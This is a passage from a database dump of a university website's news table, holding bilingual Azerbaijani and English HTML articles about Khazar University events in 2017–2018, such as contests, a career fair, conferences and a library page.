style=\"\" text-align:justify;text-indent:0in\"=\"\"><a href=\"http://olaylar.az/news/sosial/222872%20\">http://olaylar.az/news/sosial/222872</a>.  <br></p>'),(5769,3307,'az','EggDrop müsabiqəsinin qalibləri mükafatlandırıldı','2018-ci il iyunun 12-də Xəzər Universitetinin Mühəndislik və tətbiqi elmlər fakültəsində...','<p>2018-ci il iyunun 12-də Xəzər Universitetinin Mühəndislik və tətbiqi elmlər fakültəsində Mexanika mühəndisliyi departamentinin dəstəyi ilə mayın 25-də keçirilmiş ilk “yumurta atma” (Egg Drop) müsabiqəsinin qaliblərinin mükafatlandırılması mərasimi oldu.&nbsp;</p><p>Mühəndislik və tətbiqi elmlər fakültəsinin təşkilati dəstəyi ilə ilk “yumurta atma” müsabiqəsi 2018-ci il mayın 25-də keçirilmişdi. Bu müsabiqə iştirakçıların kövrək bir cismin (burada yumurtanın) 20 metr hündürlükdən təhlükəsiz şəkildə yerə düşməsini təmin etmək üçün mühəndislik elminin tətbiqi ilə bağlı yaradıcı qabiliyyətlərinin qarşılaşdırılmasından ibarətdir. Müsabiqənin qalibini seçmək üçün müəyyən olunmuş meyarlara konstruksiyanın yüngüllüyü, yerdə müəyyən olunmuş hədəfə çatma sürəti və dəqiqliyi daxil idi. Mühəndislik və tətbiqi elmlər fakültəsinin müəllimləri Dr. Mirsadegh Seyidzavvar və Dr. Mehdi Kiyasatfar müsabiqənin hakimi təyin edilmişdi. Ümumilikdə müsabiqədə 11 komanda iştirak edirdi. Yekun nəticələrə görə müəyyən olunmuş kriteriyalar əsasında yarışmada birinci yeri ən kreativ dizaynı nümayiş etdirən “HERO” komandasından Xeyrulla Əmirov və Ziya Mehdiyev, “Mechanical Power” komandasından Nicat Əliyev tutdular. Musabiqənin qaliblərinə Mühəndislik və tətbiqi elmlər fakültəsinin dekanı Dr.Hassan Niknafs tərəfindən pul mükafatı və sertifikat təqdim olundu. Digər iştiakçilara isə iştirakçı sertifikatı verildi.</p>'),(3821,2218,'en','Next Annual Career Fair at  Khazar University','On May 25, 2017, the Khazar University Career Center with the sponsorship of Baker Tilly in Azerbaijan organized a Career Fair at the university. The fair took place from 11:00 to 13:00...','<p>On\r\nMay 25, 2017, the Khazar University Career Center with the sponsorship of Baker\r\nTilly in Azerbaijan organized a Career Fair at the university. The fair took\r\nplace from 11:00 to 13:00. </p>\r\n<p>Companies\r\nthat participated included:&nbsp;&nbsp;Azerbaijan Marketing Society, Azerbaijan\r\nCoca-Cola Bottlers, Azərsun Holding, Baker Tilly, Bank BTB, Barattson School of\r\nBusiness &amp; Finance, Employ LLC, Express Bank, Facility Management Group,\r\nGR8 Club, KPMG Azerbaijan, Melissa Group, MET-AK LLC, PMD Group,\r\nPricewaterhouseCoopers and Veyseloğlu Company. </p>\r\n<p>Graduates\r\nand students from other universities also participated in the event, where they\r\nhad the opportunity to fill out applications and give out their CVs.</p>'),(6224,3544,'az','Xəzər Universitetinin müəllimi mükafatlandırıldı','2018-ci il oktyabrın 18-də Azərbaycan Milli Elmlər Akademiyası (AMEA) İqtisadiyyat İnstitutunun təşkil etdiyi...','<p>2018-ci il oktyabrın 18-də Azərbaycan Milli Elmlər Akademiyası (AMEA) İqtisadiyyat İnstitutunun təşkil etdiyi “Gənc iqtisadçı tədqiqatçılar arasında elmi məqalə” müsabiqəsində Xəzər Universiteti İqtisadiyyat və Menecment fakültəsinin dekan müavini Dr. Şəhriyar Muxtarovun təqdim etdiyi “<em>The Impact of Financial Development on Energy Consumption: Evidence from an Oil-Rich Economy</em>” (impact factor 2.7) adlı məqalə 2-ci yerə layiq görülmüşdür.&nbsp;</p><p>Məqaləni bu link vasitəsilə oxumaq olar: <a href=\"https://www.mdpi.com/1996-1073/11/6/1536\">https://www.mdpi.com/1996-1073/11/6/1536</a>.</p><p>Xəbər ictimai mediada da işıqlandırımışdır: <a href=\"http://www.marja.az/news/32413\">http://www.marja.az/news/32413</a>.</p>'),(6225,3544,'en','Khazar University Instructor is awarded','On October 18, 2018, an article entitled “The Impact of Financial Development on Energy Consumption...','<p>On October 18, 2018, an article entitled “<em>The Impact of Financial Development on Energy Consumption: Evidence from an Oil-Rich Economy</em>” (impact factor 2.7) authored by Dr. Shahriyar Mukhtarov, Dean’s assistant of the School of Economics and Management of Khazar University, was awarded a second place in the competition “Scientific article among young economist researchers” organized by the Institute of Economics, Azerbaijan National Academy of Sciences.&nbsp;</p><p>The article is available through the following link: <a href=\"https://www.mdpi.com/1996-1073/11/6/1536\">https://www.mdpi.com/1996-1073/11/6/1536</a>.</p><p>The news has also been covered by the media: <a href=\"http://www.marja.az/news/32413\">http://www.marja.az/news/32413</a>.</p>'),(6226,3545,'az','İsmayıllılı abituriyentlər Xəzər Universitetinin qonağı oldular','2018-ci il oktyabrın 19-da İsmayıllı rayonunda fəaliyyət göstərən “Niyal” Təhsil mərkəzinin və Bakı şəhərində...','<p>2018-ci il oktyabrın 19-da İsmayıllı rayonunda fəaliyyət göstərən “Niyal” Təhsil mərkəzinin və Bakı şəhərində fəaliyyət göstərən “Unikal” Təhsil mərkəzinin 10-cu və 11-ci sinif şagirdləri ilə Xəzər Universitetində tanışlıq xarakterli görüş keçirildi. Tədbiri giriş sözü ilə İctimai Əlaqələr və Media üzrə direktor Əlövsət Əmirbəyli açaraq, sözü Xəzər Universitetinin rektoru Dr.Hassan Niknafsa verdi və rektor abituriyentləri salamladı.</p><p>Daha sonra Humanitar və Sosial Elmlər fakültəsi Psixologiya departamentinin müəllimi Nilufər Əlizadə abituriyentlərə kiçik psixoloji seminar keçirərək, qəbul imtahanları öncəsi streslə necə mübarizə aparmağın yolları haqqında məlumat verdi.</p><p>Bundan sonra Xəzər Universiteti haqqında film nümayiş etdirildi. Ardınca, professor Fuat Rəsulov təqdimatla çıxış edərək, Xəzər Universitetinin məzunlarının uğurları haqqında, universitetin xüsusiyyətləri və üstünlükləri barəsində və s. geniş məlumat verdi.</p><p>Yekunda universitetin fakültə nümayəndələri abituriyentlərə tədris olunan ixtisaslar haqqında məlumat verdilər. Abituriyentlər universitetin bəzi laboratoriyaları və kitabxanası ilə tanış oldular.</p><p>Sonra İsmayıllıdan gələn abituriyentlər üçün şəhərdə gəzinti təşkil olundu.</p>'),(6227,3545,'en','Prospective students from Ismayilli visit Khazar University','On October 19, 2018, 10th and 11th-grade pupils from “Unikal” Education Center, Baku, and “Niyal” Education...','<p>On October 19, 2018, 10<sup>th</sup> and 11<sup>th</sup>-grade pupils from “Unikal” Education Center, Baku, and “Niyal” Education Center, Ismayilli, paid a visit to Khazar University. Alovsat Amirbayli, Director for Public Relations and Media, delivered an opening speech and gave the floor to Dr. Hassan Niknafs, Rector, who greeted the students.</p><p>Then Nilufar Alizadeh, Instructor of the Department of Psychology of the School of Humanities and Social Sciences, conducted a short psychological workshop with the prospective students to inform them about how to cope with stress on the eve of entrance exams.</p><p>Then a documentary movie about Khazar University was demonstrated. Following the documentary, Fuat Rasulov delivered a presentation about the success of Khazar University graduates as well as advantages of the University.</p><p>Then the associates of the Schools informed the students about the specialities offered by Khazar University. The students also became familiar with some labs and library of the University.</p><p>Then the prospective students from Ismayilli were taken on a tour of the city.</p>'),(6228,3536,'az','Hamlet İsaxanlı Dünya Mədəniyyət Forumunda','2018-ci il oktyabrın 16-dan 19-dək Xəzər Universitetinin Təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı...','<p>2018-ci il oktyabrın 16-dan 19-dək Xəzər Universitetinin Təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Çinin Tai Hu əyalətində keçirilən “<em>Sivilizasiya naminə dialoq: Bəşəriyyət üçün ortaq gələcəyə malik cəmiyyətin qurulması</em>” adlı Dünya Mədəniyyət Forumunun Beşinci İllik Konfransına “Müvafiq sahədə böyük nailiyyətlərinə” görə dəvət olunmuş qonaq qismində iştirak etdi.</p><p>Professor Hamlet İsaxanlı “<em>Böyük çaylar Qərbdən Şərqə axır: Azərbaycan və Çin</em>” adlı məruzəsində İpək Yolunun varisləri kimi Azərbaycan və Çinin tarixi və mədəni əlaqələrindən danışdı.</p><p>Qeyd edək ki, Dünya Mədəniyyət Forumu yüksək səviyyədə təşkil olunan beynəlxalq qeyri-hökumət mədəni forumudur. Bu forum, eyni zamanda, Mülki İşlər Nazirliyi tərəfindən qeydiyyata alınan yeganə milli qeyri-hökumət təşkilatıdır. İdarə heyəti Pekində yerləşən bu forum təsis edildiyi gündən etibarən dörd dəfə illik konfrans təşkil etmişdir. Bu konfranslara beş qitənin 60 ölkəsi və bölgəsindən iştirakçılar qatılmışdır.</p><p>Qeyri-stabilliyin hökm sürdüyü dunyada heç bir sivilizasiya bəşəriyyətin qarşılaşdığı çətinliyi təkbaşına dəf edə bilməz. İnsanlar sülh və tərəqqinin, inklüzivliyin, ümumdünya səviyyəli təhlükəsizliyin, eləcə də, birgə inkişafın var olduğu təmiz və gözəl dünya arzu edirlərsə, onda mədəniyyət uzunmüddətli, hərtərəfli və strateji bir plan təmin etməlidir. Bu ideyanın işığında “<em>Sivilizasiya naminə dialoq: Bəşəriyyət üçün ortaq gələcəyə malik cəmiyyətin qurulması</em>” adlı beşinci illik konfrans Çin və dünyanın digər bölgələrindən olan mütəxəssislərin fikir mübadiləsi aparmağı və “universal sivilizasiya”nın yaradılması üçün kollektiv şüurun formalaşması üçün imkanlar yaradır.</p>'),(6230,3546,'en','Conference within PROMIG project','On October 19, 2018, within Erasmus+ project “Promoting Migration Studies in Higher Education” (PROMIG','<p>On October 19, 2018, within Erasmus+ project “Promoting Migration Studies in Higher Education” (PROMIG, 573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP) and on an organizational support of the School of Economics and Management, Center for Development, and Training Center, a one-day conference entitled “Migration and sustainable development” was held at Khazar University.</p><p>Dr. Hassan Niknafs, Rector of the University, greeted the participants and wished success for the conference. Then Dr.Jeyhun Mammadov, Dean of the School of Economics and Management, provided information about the achievements within PROMIG project, courses and researches on migration and economics. Nargiz Karimova, an associate of Representative Office of International Migration Organization in Azerbaijan, delivered a presentation about global migration and its statistical results. Dr.Jeyhun Mammadov, Dr.Shahriyar Mukhtarov and Dr.Rovshan Karimov presented their research findings and answered participants questions.</p><p>Moreover, students of Khazar University and Baku Engineering University, as well as Prof. Mahish Ahmadov from Azerbaijan State University of Economics, made interesting presentations. Representatives from Azerbaijan University of Languages, Azerbaijan State Pedagogical University, Western Caspian University, Azerbaijan Technical University, Azerbaijan University of Cooperation, Baku Slavic University and Azerbaijan State Oil and Industrial University also participated in the conference.</p><p>Raziya Isayeva, Director of the Center for Development, and Elmar Mustafayev, Coordinator of the Department of Political Sciences and International Relations, provided information about two Erasmus+ projects, “Paving the way to interregional mobility and ensuring relevance, quality and equity of access” and “Intercultural encounters in academia and work places in South Caucasus and Norway”, respectively. Khazar University is a partner university within both projects.</p>'),(3827,2231,'en','Open Lesson on Japan by First-Year Students of School of Economics and Management ','On May 24, 2017, the first year students of the School of Economics and Management participated in an open lesson dedicated to Japan. The class entitled “Japan: The Land of the...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On May 24, 2017,\r\nthe first year students of the School of Economics and Management participated\r\nin an open lesson dedicated to Japan. The class entitled “Japan: The Land of\r\nthe Rising Sun” was initiated by the students and carried out under the\r\nleadership of Ms. Saadat Farhadova, English language instructor at Khazar\r\nUniversity, and with the support provided by the International Affairs Office and\r\nthe Embassy of Japan in Azerbaijan.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The open lesson\r\ncontained the students’ presentations on various aspects of Japanese history,\r\neconomy, traditions, and culture as well as their performances and\r\ndemonstrations. The Embassy of Japan provided the students with the Japanese\r\ntraditional outfits, cultural items, posters and other artefacts. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The anthems of\r\nthe two countries were played at the begiining of the lesson. &nbsp;Fidan Kharakhmazli, Narinj Mammadrzayeva, and\r\nEmil Jafarov started the open lesson by providing a historical overview of\r\nJapan. They spoke about the country’s past and &nbsp;modern times. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">A presentation\r\nabout the rich culture of Japan was delivered by Mehdi Nouri, an international\r\nstudent from Iran, and Sabina Arifzade. The presentation on Japanese culture &nbsp;included the religion of Japan, its cuisine,\r\ntraditions, and other aspects. Dressed in a traditional geisha costume, Sabina\r\nArizfade performed a traditional geisha dance and delivered an informative\r\npresentation on this crucial and often misunderstood part of the Japanese\r\nculture. Sabina and Mehdi also demonstrated how to eat with sticks.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Elvin Jamalzade,\r\nAnar Gasimov, and Fatima Asadova delivered presentations on educational system\r\nin Japan.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">After a short\r\ncoffee-break, the open lesson continued with the students’ presentations on\r\nJapanese economy and relations between Japan and Azerbaijan delivered by\r\nFarkhad Ibrahimli, Ibrahim Hajiyev, and Aida Bayramova. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Rahima\r\nMammadova, Shamkhal Dadashov, and Kanan Orujov made their presentations on\r\nresearch, innovation, and technological advances in Japan, as well as its\r\nnuclear power.</p>\r\n<p>Here is what the\r\nstudents say about how the idea of this open lesson emerged: “The idea that\r\nturned into an exciting project later had just been a subject matter of a\r\nregular English class. While discussing developed countries of the world we\r\nthought, why not to research them deeper and compare their economic prosperity?\r\nWe decided on Japan, the land of the rising sun, an ancient country with its\r\nunique lifestyle and culture. </p>\r\n<p>Preparation for\r\nthe class started with an online research but very soon, we realized that\r\ninternet resources would not be sufficient, as we wanted to get a real taste of\r\nthe country. Thanks to our English Instructor, Ms. Saadat Farhadova’s initiative\r\nand the assistance provided by the Department of International Relations, we\r\nformed a delegation of students who had a chance to visit Japanese Embassy in\r\nBaku. The Embassy really did their best to provide us with cultural items,\r\neducational books, lots of souvenirs, and Japanese traditional outfits. We\r\nentered the world of magical Japan, full of harmony and excitement.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The open lesson\r\nwe had on Japan, the Land of The Rising Sun, on 24th May&nbsp; at &nbsp;Nizami Campus, Khazar university was really\r\nproductive and successful. The academic environment was quite suitable to make\r\nthis event happen.&nbsp; We realized that it\r\nwas a completely right choice to study the Japanese culture, promote it, make a\r\nslight contribution to &nbsp;Azerbaijani-Japanese\r\nrelations as members of Khazar university. We believe that the event dedicated\r\nto Japanese cultural heritage and well-established economy will stimulate\r\nstudent exchange between Khazar and Japanese universities.”<a></a> </p>'),(3828,2231,'az','İqtisadiyyat və menecment fakültəsinin birinci kurs tələbələri Yaponiya mövzusuna aid açıq dərs keçirdilər','2017-ci il mayın 24-də İqtisadiyyat və menecment fakültəsinin birinci kurs tələbələri Yaponiya mövzusuna aid açıq dərsdə iştirak etdilər. “Yaponiya: Gündoğan ölkə” adlandırılan açıq...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il mayın\r\n24-də İqtisadiyyat və menecment fakültəsinin birinci kurs tələbələri Yaponiya\r\nmövzusuna aid açıq dərsdə iştirak etdilər. “Yaponiya: Gündoğan ölkə”\r\nadlandırılan açıq dərs tələbələr tərəfindən təklif kimi irəli sürülmüşdü və Xəzər\r\nUniversitetinin ingilis dili müəllimi Səadət Fərhadovanın rəhbərliyi altında, Xəzər\r\nUniversitetinin Beynəlxalq Əlaqələr Şöbəsi və Yaponiyanın Azərbaycandakı səfirliyinin\r\ndəstəyi ilə həyata keçirildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Açıq dərs\r\nYaponiyanın tarixi, iqtisadiyyatı, adət-ənənələri və mədəniyyətinin müxtəlif\r\naspektləri haqqında təqdimatlardan, eləcə də tələbələrin çıxışlarından və\r\nnümayişlərindən ibarət idi. Yaponiyanın Azərbaycandakı səfirliyi tərəfindən tələbələr\r\nüçün yapon ənənəvi geyimləri, mədəni əşyaları, plakat və digər maddi mədəniyyət\r\nabidələri təqdim olunmuşdu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Açıq dərs hər\r\niki ölkənin dövlət himnləri ilə başladı. Sonra açıq dərsdə Fidan Karaxmazlı,\r\nNarınc Məmmədrzayeva və Emil Cəfərov Yaponiya tarixindən qısaca danışdılar.\r\nOnlar ölkənin keçmiş və müasir dövrləri haqqında məlumat verdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Xəzər\r\nUniversitetinin iranlı tələbəsi Mehdi Nuri və Səbinə Arifzadə Yaponiyanın zəngin\r\nmədəniyyəti haqqında təqdimat etdilər. Təqdimat Yaponiyanın mətbəxi, ənənələri\r\nvə diqər mövzular haqqında idi. Ənənəvi geyşa libasını geyinmiş Səbinə Arifzadə\r\ngeyşa rəqsını ifa etdı və bu rəqs haqqında məlumat verdi. Səbinə və Mehdi\r\nçubuqların köməyi ilə necə yemək yeməyi nümayış etdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Elvin Camalzadə,\r\nAnar Qasımov və Fatimə Əsədova Yaponiyada təhsil sistemi haqqında təqdimatlar\r\netdilər. Qısa qəhvə fasiləsindən sonra Fərhad İbrahimli, İbrahim Hacıyev və\r\nAida Bayramova Yaponiyanın iqtisadiyyatı, Azərbaycan və Yaponiya münasibətləri\r\nmövzularında təqdimatla çıxış etdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Rəhimə Məmmədova,\r\nŞamxal Dadaşov və Kənan Orucov tədqiqat, innovasiya və Yaponiyanın texnoloji\r\navansları haqqında təqdimatlar ilə çıxış etdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"=\"\">Tələbələr\r\nacıq dərs ideyası haqqında danışdılar: “Sadə dərs günlərinin birində ağlımıza\r\nyeni bir fikir gəldi .Niyə də inkişaf etmiş dünya ölkələrindən biri haqqında\r\naraşdırmalar aparmayaq? Daha sonra isə yeni ideyalar bir-birinin ardınca gəlməyə\r\nbaşladı. Əvvəlcə qərar verdik ki, o axtardığımız nümunəvi xalq özünəməxsus mədəniyyəti\r\nvə üslubu olan yaponlardır. Daha sonra isə onu müxtəlif aspektlərdən öyrənməyi\r\nqərara aldıq. Bizim araşdırmalarımız təkcə internetdən məlumat toplamaqla\r\nsonlanmadı, çünki bu, bizə Yaponiya kimi bir ölkəni tanımaq üçün kifayət etməzdi.\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"=\"\">İngilis\r\ndili müəllimi Səadət Fərhadova və Beynəlxalq Münasibətlər Ofisinin köməyi sayəsində\r\nBakıda Yaponiya səfirliyinə&nbsp; ziyarət üçün\r\nbiz tələbə heyəti yaratdıq. Yaponiya səfirliyi bizi suvenirlər, kitablar, ənənəvi\r\ngeyimlər ilə təmin etmişdilər. Biz harmoniya&nbsp;\r\nvə həyəcan ilə dolu olan sehirli Yaponiya dünyasına daxil olduq.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"=\"\">Mayın\r\n24-də Xəzər Universitetinin Nizami korpusunda Yaponiyaya – “Gündoğan ölkə”yə həsr\r\nolunmuş açıq dərs həqiqətən də müvəffəqiyyətlə baş tutdu. Xəzər Universitetinin\r\nakademik mühit bu tətbir üçün əlverişli idi. Biz başa düşdük ki, bir “Xəzər”li\r\nkimi bu mədəniyyəti öyrənmək, onu təbliğ etmək, Azərbaycan-Yaponiya münasibətlərinə,\r\ncüzi də olsa, öz töhfəmizi vermək bu tamamilə düzgün bir seçim idi. Yapon mədəni\r\nirs və köklü iqtisadiyyatına həsr olunmuş tədbirimizin “Xəzər” və yapon\r\nuniversitetləri arasında tələbə mübadiləsinə təkan verəcəyinə inanırıq.&nbsp;</p>'),(3829,2232,'az','Kitabxana-İnformasiya Mərkəzində “ən çox oxunan kitablar” müzakirə edildi','2017-ci il mayın 26-da Xəzər Universiteti Kitabxana-İnformasiya Mərkəzində “Oxucular və kitabxana əməkdaşları arasında ən çox oxunan kitabların müzakirəsi” adlı tədbir keçirildi...','<p>2017-ci\r\nil mayın 26-da Xəzər Universiteti Kitabxana-İnformasiya Mərkəzində “Oxucular və\r\nkitabxana əməkdaşları arasında ən çox oxunan kitabların müzakirəsi” adlı tədbir\r\nkeçirildi. Müzakirədə oxunan kitabların təhlili və dövrümüzdəki hadislələr ilə\r\nuyğunluğu müqayisə edilidi. Tədbir tələbələr tərəfindən çox maraqla qarşılandı\r\nvə təkrar keçirilməsi arzu edildi.</p>'),(3830,2233,'az','Xəzər Universitetinin əməkdaşları beynəlxalq konfransda oldular','2017-ci il mayın 22-dən 28-dək Türkiyə Respublikası Ankara şəhəri Türk Dil Qurumu  tərəfindən “VIII. Uluslararası Türk Dili Kurultayı” təşkil edilmişdi. Bu qurultayda dünyanın müxtəlif...','<p>2017-ci il mayın 22-dən 28-dək Türkiyə Respublikası\r\nAnkara şəhəri Türk Dil Qurumu&nbsp; tərəfindən “VIII. Uluslararası Türk Dili\r\nKurultayı” təşkil edilmişdi. Bu qurultayda dünyanın müxtəlif ölkələrindən gələn\r\nelm adamları ilə yanaşı, Xəzər Universitetinin əməkdaşları da iştirak edirdilər.</p>\r\n<p>Dillər və mədəniyyətlər departamentinin koodinatoru\r\n&nbsp;və dosent əvəzi fil.ü.f.d. Zivər Hüseynli-Baylan “Əfşarlar dönəmi dövlət\r\nidarəçiliyində işlənən türkcə terminlər” və həmin departamentin dosenti, i.ü.f.d.\r\nElnurə Əzizova “XX əsrin başlanğıcında Türkiyə və Azərbaycan türkcəsi arasında\r\nortaq dil yaratma cəhdi olaraq Füyuzat jurnalı: Göstərdiyi təsirlər və aldığı tənqidlər”\r\nadlı məruzələrlə çıxış etdilər. </p>\r\n<p>Qurultayın sonunda məruzəcilərə setifikat verildi.</p>'),(3834,2232,'en','\"The most widely read books\" were discussed at Library and Information Centre','On May 26, 2017, the event entitled ‘The Discussion of the most widely read books between readers and library employees’ was conducted at the Library and Information Centre...','<p>On May 26, 2017, the event entitled\r\n‘The Discussion of the most widely read books between readers and library\r\nemployees’ was conducted at the Library and Information Centre, Khazar\r\nUniversity.</p>\r\n<p>The analysis of the books read and\r\ntheir compatibility with today’s events were compared during the discussion.</p>\r\n<p>The event was highly appreciated by\r\nthe students and there was a desire to conduct such events again in the future.&nbsp;</p>'),(3835,2233,'en','Employees of Khazar University are at the International conference','On 22nd – 28th May, 2017 the ‘VIII International Turkish Language Congress’ was organised by the Turkish Language Association, Ankara city, the Republic of Turkey...','<p>On 22nd – 28th May, 2017 the ‘VIII International Turkish Language\r\nCongress’ was organised by the Turkish Language Association, Ankara city, the\r\nRepublic of Turkey. The employees of Khazar University attended the congress\r\nalong with the scientists from around the world. </p>\r\n<p>Zilver Huseynli Baylan, the coordinator of the Languages and Cultures\r\nDepartment, acting assisstant professor, Phd in Philology delivered a\r\nspeech on ‘Turkish terms used in public administration during the Afshar period\r\nand Elnura Azizova, PhD in Theology made a speech on ‘The Fuyuzat journal - as an attempt to create a\r\ncommon language between Turkey and the <a>Azeri Turkish at\r\nthe beginning of the XX century. </a>The impacts and the criticism’.</p>\r\n<p>The speakers were given certificates at the end of the congress.&nbsp;</p>'),(3836,2235,'en','LIBRARY','LIBRARY','<h3><strong><a href=\"http://library.khazar.org/\">LIBRARY\r\nAND INFORMATION CENTER</a></strong></h3>\r\n<p style=\"text-align:justify\">Khazar University Library &amp; Information Center (LIC) a top-tier academic library, serving one of the most important centers of learning and research in Azerbaijan.  <br></p><h3 style=\"color:#6699cc\">MISSION</h3><p style=\"text-align:justify\">Khazar University LIC as the intellectual heart of the university community, provides quality support for teaching, learning, and&nbsp; research through our staff, collections, programs, spaces, and services.  <br></p><h3 style=\"color:#6699cc\">VISION</h3><p style=\"text-align:justify\">•&nbsp;LIC staff are committed to the library mission, and effectively anticipate and respond to the ever-changing teaching, learning, and research landscape.  <br></p><p style=\"text-align:justify\">•&nbsp;The library is a gateway to exceptional collections and continuously strives to enhance discovery, access, and use of the collections.  <br></p><p style=\"text-align:justify\">•&nbsp;Library services are driven by an evidence-based understanding of the various needs and research practices of our users.  <br></p><p style=\"text-align:justify\">•&nbsp;LIC digital and technological infrastructure enable the library to best carry out its mission  <br></p><h3 style=\"color:#6699cc\">GUIDING PRINCIPLES</h3><p style=\"text-align:justify\">•&nbsp;We recognize that service to the Khazar community is our top priority.  <br></p><p style=\"text-align:justify\">•&nbsp;We recognize that service to the Khazar community is our top priority.  <br></p><p style=\"text-align:justify\">•&nbsp;We are committed to fostering information literacy skills and promoting lifelong learning by providing instruction and resources that meet the needs of learners  <br></p><p style=\"text-align:justify\">•&nbsp;We collaborate with partners, internal and external to the library and to Khazar University  <br></p><p style=\"text-align:justify\">•&nbsp;We assess what we do and how we do it to ensure operational effectiveness and quality service delivery.  <br></p><p style=\"text-align:justify\">•&nbsp;We are committed to creating an inviting and working environment that enhances teaching, learning, research, innovation, and collaboration.</p><h3 style=\"color:#6699cc\">E - library Access</h3><ul><li><a href=\"https://khazaruniversity.follettdestiny.com\">OPAC</a></li><li><a href=\"http://dspace.khazar.org/\">DSpace</a></li></ul><p style=\"text-align:justify\"><br></p>\r\n<p style=\"padding:0in;background-position:100% 0%;border:initial none #000\"><br></p><p style=\"padding:0in;background-position:100% 0%;border:initial none #000\">&nbsp; &nbsp; &nbsp;<img src=\"/files/letters/DSC_6634.jpg\" style=\"vertical-align:baseline;width:300px;height:201px\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<img src=\"/files/letters/DSC_0001.JPG\" style=\"vertical-align:baseline;width:300px;height:198px\"></p>\r\n<p style=\"text-align:left\"><br></p><p style=\"text-align:left\">&nbsp; &nbsp; &nbsp;<img src=\"/files/letters/DSC_0021.JPG\" style=\"vertical-align:baseline;width:300px;height:198px\">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;<img src=\"/files/letters/21743869_1714814231862308_3858926971270472522_o.jpg\" style=\"vertical-align:baseline;width:300px;height:200px\"><br></p>'),(3837,2235,'az','KİTABXANA','KİTABXANA','<p style=\"text-align:justify\"><strong><a href=\"http://library.khazar.org/\">KİTABXANA İNFORMASİYA MƏRKƏZİ</a>&nbsp;</strong></p><p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><a href=\"https://az.wikipedia.org/wiki/X%C9%99z%C9%99r_Universiteti\" title=\"Xəzər Universiteti\" style=\"text-align:justify\">Xəzər\r\nUniversitetinin</a><span style=\"text-align:justify\"> Kitabxana İnformasiya Mərkəzinin kolleksiyası </span><a href=\"https://az.wikipedia.org/wiki/Az%C9%99rbaycan\" title=\"Azərbaycan\" style=\"text-align:justify\">Azərbaycan</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/%C4%B0ngilis\" title=\"İngilis\" style=\"text-align:justify\">ingilis</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/Rus\" title=\"Rus\" style=\"text-align:justify\">rus</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/T%C3%BCrk\" title=\"Türk\" style=\"text-align:justify\">türk</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/%C6%8Fr%C9%99b\" title=\"Ərəb\" style=\"text-align:justify\">ərəb</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/Fars\" title=\"Fars\" style=\"text-align:justify\">fars</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/Alman\" title=\"Alman\" style=\"text-align:justify\">alman</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/Frans%C4%B1z\" title=\"Fransız\" style=\"text-align:justify\">fransız</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/%C4%B0span\" title=\"İspan\" style=\"text-align:justify\">ispan</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/%C4%B0talyan\" title=\"İtalyan\" style=\"text-align:justify\">italyan</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/Yapon\" title=\"Yapon\" style=\"text-align:justify\">yapon</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/%C3%87in\" title=\"Çin\" style=\"text-align:justify\">çin</a><span style=\"text-align:justify\"> və digər müasir </span><a href=\"https://az.wikipedia.org/w/index.php?title=Avropa_v%C9%99_%C5%9E%C9%99rq_dill%C9%99rind%C9%99&amp;action=edit&amp;redlink=1\" title=\"Avropa və Şərq dillərində (səhifə mövcud deyil)\" 